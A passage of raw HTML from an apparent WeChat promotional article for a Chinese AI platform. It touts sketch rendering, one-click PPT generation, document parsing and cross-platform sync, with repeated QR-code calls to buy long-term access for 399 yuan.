0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="0.5907407407407408" data-s="300,640" data-type="jpeg" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000106" src="https://wechat2rss.xlab.app/img-proxy/?k=0a8d8d35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_jpg%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8bPsg9IuBberYOSocIzpX3qttC3ur1kVGrANaKiaSVnkaDQfXI88fxpdQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg%23imgIndex%3D29"/></p><p data-v-37d25bc6="" data-v-4e2afdbc="" dir="auto" is-dark="false" typewriter="true" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 0px 16px;line-height: 1.6em;"><strong data-v-4e2afdbc="" data-v-af3ce037=""><span data-v-56f30838="" data-v-af3ce037="" index-key="list-item-markdown-renderer-42-4-0-0-0"><span leaf="" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;font-size: 16px;letter-spacing: 0.5px;">线稿上色：</span></span></strong><span data-v-4e2afdbc=""><span leaf="" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;font-size: 16px;letter-spacing: 0.5px;"> 随手画个草图，它能帮你渲染成精美的室内设计图或插画。</span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.58758109360519" data-type="gif" data-w="1079" style="height: auto !important;" data-croporisrc="https://mmbiz.qpic.cn/mmecoa_gif/stTCiaoMolLibXWSQVe6xrgKRgMAQC9W8b3Tkoum3DVYdAZLAic7KS8Djxb0RDNbw6ZfWqqbRicYFx459WSe1Xt27Q/0?wx_fmt=gif&amp;from=appmsg" data-cropselx2="546" data-cropsely2="321" data-imgfileid="100000109" src="https://wechat2rss.xlab.app/img-proxy/?k=1bf2cbe6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8b3Tkoum3DVYdAZLAic7KS8Djxb0RDNbw6ZfWqqbRicYFx459WSe1Xt27Q%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D33"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 0px;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span data-mpa-action-id="mmbtfs911lfs" data-pm-slice="0 0 []" mpa-font-style="mmbtfs8s1zap" style="font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">放大看看这个线稿转效果图的质量，这简直是给设计师装上了核动力引擎！</span></span></span></span></span></p><p data-mpa-action-id="mgmzkvm75ef" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 8px;margin-right: 8px;padding: 0.5em;line-height: 1.6em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg js_img_placeholder wx_img_placeholder" data-ratio="0.36018518518518516" data-s="300,640" data-type="png" data-w="1080" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;height: auto !important;" type="block" data-imgfileid="100000110" src="https://wechat2rss.xlab.app/img-proxy/?k=8b6cb151&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_png%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8bHl0xwicHNIUEwX6WkWNYhbBWAP8UO8jbQUH6SDViceAlDs9pjAE85mcQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%23imgIndex%3D34"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;line-height: 1.6em;"><span data-pm-slice="0 0 []" data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span data-mpa-action-id="mmbtfukv1ezd" data-pm-slice="0 0 []" mpa-font-style="mmbtfuknxvf" style="font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">这么好用的模型，其他地方想用都找不到入口，而我们的AI平台全部支持，并且长期更新、不限用量使用！</span></span></span></span></span></p><p data-pm-slice="5 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;text-align: center;margin-bottom: 0px;line-height: 1.6em;"><span style="color: rgb(220, 155, 4);font-size: 16px;"><strong><span data-mpa-action-id="mgkzvcnt1cbq" data-pm-slice="0 0 []" mpa-font-style="mgkzvcnftga" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">▼扫码拥有黑科技</span></span></span></strong></span></p><p data-mpa-action-id="mn2yyse3wfy" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;padding: 0.5em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;width: 198px;height: 198px;" type="block" data-imgfileid="100004040" src="https://wechat2rss.xlab.app/img-proxy/?k=078a6540&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQWYz6XmYMgm8Bl8czqicI7w5VZI5oOvHMwbDQkTaKiaRztoPx1ic80KMHGVfh6sBthXIGlbgOmtibrbcY3hh9d1sfEwnAHEKemaHK7RedDqXdeA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;text-align: center;line-height: 1.6em;"><strong data-mpa-action-id="mgl135zb23kr" data-pm-slice="0 0 []"><span style="color: rgb(220, 155, 4);font-weight: bold;font-size: 15px;"><span mpa-font-style="mgl135z11f4x" style="letter-spacing: 1px;color: rgb(122, 79, 214);font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">399元长期使用，仅剩20席</span></span></span></span></strong></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;margin-bottom: 24px;line-height: 1.6em;"><span style="letter-spacing: 0.034em;font-size: 16px;margin-bottom: 0px;"><span style="margin-bottom: 0px;"><span data-mpa-action-id="mglbqs3v1e84" data-pm-slice="0 0 []" mpa-font-style="mglbqs3o14" style="font-size: 20px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;">七、打工人的救星：AI一键PPT</span></span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbtfyj5oli" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">我们AI平台自研的PPT功能，只能用“卧槽”来形容。</span></span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbtfyj5xhb" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">老板让你写报告？把主题发给它，它自动调用大模型梳理逻辑、生成大纲，并自动排版成精美的PPT。</span></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin: 0px 16px;line-height: 1.6em;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.6088971269694161" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000114" src="https://wechat2rss.xlab.app/img-proxy/?k=beb5b4d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8bIkibX0kDtfANgYmeTR19jEwmhVGNewODlW0CCcFfqM6xDfaNNSxWR2g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D41"/></p><p data-mpa-action-id="mmbtg2wxy1i" data-pm-slice="0 0 []" data-v-37d25bc6="" data-v-4e2afdbc="" dir="auto" is-dark="false" typewriter="true" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><strong data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbtg2wp1s7d" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">内置1000+模板：</span></span></span></strong><span data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbtg2wp1au5" style="font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;"> 各行各业都有，告别到处找模板的烦恼</span><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="128" style="display: inline-block;font-size: 22px;width: 1em;height: 1em;vertical-align: middle;background-size: 1em auto;background-repeat: no-repeat;margin-top: -0.2em;" data-imgfileid="100016831" src="https://wechat2rss.xlab.app/img-proxy/?k=d52bc426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTbldt9Mp9IhnGVByGuYOzp3nWXfwH88SYLHQWxQ2sXFlndTDMVCaNN9YLQmyB4OzMdMoBatPRZuOKiaYUvtXrR6h3530Jzc6l74%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin: 0px 16px;line-height: 1.6em;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.6088971269694161" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000115" src="https://wechat2rss.xlab.app/img-proxy/?k=06db8ea1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8bBGT2iaka1uHJF4qQrBFVAdjQ0wQYLAXvoLELUfCzSlSiaZq5m1qqhwPQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D43"/></p><p data-mpa-action-id="mmbtg60o14b" data-pm-slice="0 0 []" data-v-37d25bc6="" data-v-4e2afdbc="" dir="auto" is-dark="false" typewriter="true" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 0px 16px;line-height: 1.6em;"><strong data-v-4e2afdbc="" data-v-af3ce037="" style="box-sizing: border-box;font-weight: 700;"><span data-v-56f30838="" data-v-af3ce037="" index-key="list-item-markdown-renderer-55-1-0-0-0" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;"><span mpa-font-style="mmbtg60f1ff4" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">实时预览：</span></span></span></strong><span data-v-4e2afdbc="" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;"><span mpa-font-style="mmbtg60f13gc" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf=""> 眼看着PPT在你面前自动生成，这感觉太治愈了。</span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin: 0px 16px;line-height: 1.6em;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.6088971269694161" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000121" src="https://wechat2rss.xlab.app/img-proxy/?k=7b86d65c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8bLpypQP5hNkeZql8BwrhMzg9CkTFZprFLHySTic5ZeM4KibtOgusiaP8XA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D44"/></p><p data-mpa-action-id="mmbtg92mmr3" data-pm-slice="0 0 []" data-v-37d25bc6="" data-v-4e2afdbc="" dir="auto" is-dark="false" typewriter="true" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 0px 16px;line-height: 1.6em;"><strong data-v-4e2afdbc="" data-v-af3ce037="" style="box-sizing: border-box;font-weight: 700;"><span data-v-56f30838="" data-v-af3ce037="" index-key="list-item-markdown-renderer-55-2-0-0-0" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;"><span mpa-font-style="mmbtg92e1qqy" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">多种导入方式：</span></span></span></strong><span data-v-4e2afdbc="" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;"><span mpa-font-style="mmbtg92e1mkm" style="font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;"> 支持纯文本、网址、文件导入，AI自动分析并制作</span><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="128" style="display: inline-block;font-size: 22px;width: 1em;height: 1em;vertical-align: middle;background-size: 1em auto;background-repeat: no-repeat;margin-top: -0.2em;" data-imgfileid="100016833" src="https://wechat2rss.xlab.app/img-proxy/?k=d8612d6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTYklJFYooRx9JnB04eticZs02gsw4LMNybvfEyYiao3M1yl4xGkicl7bwEjicuro5ERzzt5Jua6MTK7ibl61ic1AYco1n4lJdG5FYvX8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin: 0px 16px;line-height: 1.6em;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="0.5472222222222223" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000153" src="https://wechat2rss.xlab.app/img-proxy/?k=de8a6640&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_png%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8bjKjEpxf0XjTkDxAdpicmzr1ibdvJzeDqziazAvWCmI8L9urpobafpAM6A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%23imgIndex%3D47"/></p><p data-mpa-action-id="mmbtgb1t8dw" data-pm-slice="0 0 []" data-v-37d25bc6="" data-v-4e2afdbc="" dir="auto" is-dark="false" typewriter="true" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 0px 16px;line-height: 1.6em;"><strong data-v-4e2afdbc="" data-v-af3ce037="" style="box-sizing: border-box;font-weight: 700;"><span data-v-56f30838="" data-v-af3ce037="" index-key="list-item-markdown-renderer-55-3-0-0-0" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;"><span mpa-font-style="mmbtgb1k20ja" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">另外，AI还支持全能文档解析：</span></span></span></strong><span data-v-4e2afdbc="" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;"><span mpa-font-style="mmbtgb1ksaf" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf=""> 扔进去PDF、Word、Excel，它能深度阅读并回答你的任何问题。</span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin: 0px 16px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="0.6185185185185185" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000191" src="https://wechat2rss.xlab.app/img-proxy/?k=f9fec685&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_png%2FstTCiaoMolL9c1TIPlMNVxlSY4yOd5WtE8pghXKa6rqEjbYsDNwvIibBIncUQw8amMQUloAVPcicW9m1GiagiackC6Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%23imgIndex%3D48"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbtgek9dik" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">就这一个功能，帮你省下的加班时间都值回票价了！</span></span><span style="font-size: 16px;letter-spacing: 0.5px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="128" style="display: inline-block;font-size: 22px;width: 1em;height: 1em;vertical-align: middle;background-size: 1em auto;background-repeat: no-repeat;margin-top: -0.2em;" data-imgfileid="100016835" src="https://wechat2rss.xlab.app/img-proxy/?k=497f4a54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTbiatyI91n1yTSLwhZ7Dm97y27WBoxUJDPC4K9gIAdZWGaJzY2tN2LMpdIYiaibYAmj8jAL6cyT877IWrYVlzU5mDZlgzsJgutjwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></span></p><p data-pm-slice="5 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;text-align: center;margin-bottom: 0px;line-height: 1.6em;"><span style="color: rgb(220, 155, 4);font-size: 16px;"><strong><span data-mpa-action-id="mgkzvcnt1cbq" data-pm-slice="0 0 []" mpa-font-style="mgkzvcnftga" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">▼扫码解放生产力</span></span></span></strong></span></p><p data-mpa-action-id="mn2yz3h53xg" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;padding: 0.5em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;width: 193px;height: 193px;" type="block" data-imgfileid="100004041" src="https://wechat2rss.xlab.app/img-proxy/?k=0ef69d3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQWYz6XmYMglVU0XQiaFfVicK3NFBb7RgdWtZcLRvbUvrIpYiaMToibgCul4vLUiaQYeBAelkftKrWsRUOnXmhCI6v0Fak5L8jmq2BAbibEaYhV9AY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;text-align: center;line-height: 1.6em;"><strong data-mpa-action-id="mgl135zb23kr" data-pm-slice="0 0 []"><span style="color: rgb(220, 155, 4);font-weight: bold;font-size: 15px;"><span mpa-font-style="mgl135z11f4x" style="letter-spacing: 1px;color: rgb(122, 79, 214);font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">399元长期使用，仅剩20席</span></span></span></span></strong></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;margin-bottom: 24px;line-height: 1.6em;"><span style="color: rgb(214, 168, 65);font-weight: bold;margin-bottom: 0px;font-size: 20px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">八、全平台云同步，随时随地畅联</span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;line-height: 1.6em;text-align: justify;"><span data-pm-slice="0 0 []" data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbs0kba4fl" style="font-size: 16px;"><span style="letter-spacing: 0.5px;"><span leaf="">为了支持不同客户端使用体验，</span></span><span style="letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;"><span leaf="">我们的AI平台完美适配 </span></span></span></span></span><span mpa-font-style="mmbs0kba19c0" style="font-size: 16px;"><strong data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft 